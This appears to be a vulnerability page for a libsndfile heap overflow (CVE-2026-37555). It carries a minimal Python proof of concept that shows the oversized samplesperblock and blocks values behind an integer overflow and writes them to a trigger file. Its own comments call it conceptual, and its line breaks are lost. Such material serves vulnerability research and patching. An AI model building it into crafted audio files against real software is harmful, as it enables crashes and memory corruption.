CVE-2026-37555 libsndfile堆缓冲区溢出漏洞

import struct # PoC for CVE-2026-37555 # This script demonstrates the values that trigger the integer overflow. # In a real exploit, these values would be placed in specific offsets # within a WAV file header formatted for IMA ADPCM. # Vulnerability parameters from the description samplesperblock = 50000 blocks = 50000 # Calculate the product to demonstrate the overflow # 50000 * 50000 = 2,500,000,000 # 32-bit signed int max is 2,147,483,647 # The result overflows to a negative number. print(f"[+] Triggering CVE-2026-37555") print(f"[+] samplesperblock: {samplesperblock}") print(f"[+] blocks: {blocks}") print(f"[+] Product: {samplesperblock * blocks}") print(f"[+] If this product is calculated as a 32-bit int, it overflows.") # Example of how one might start crafting such a file (Conceptual) # A full valid WAV header with IMA ADPCM format is required for actual execution. with open('trigger_cve_2026_37555.bin', 'wb') as f: # Writing the malicious integers in Little Endian # These would correspond to specific fields in the 'fact' or 'fmt' chunk f.write(struct.pack('<I', samplesperblock)) f.write(struct.pack('<I', blocks)) print("[+] Generated binary payload containing trigger values.")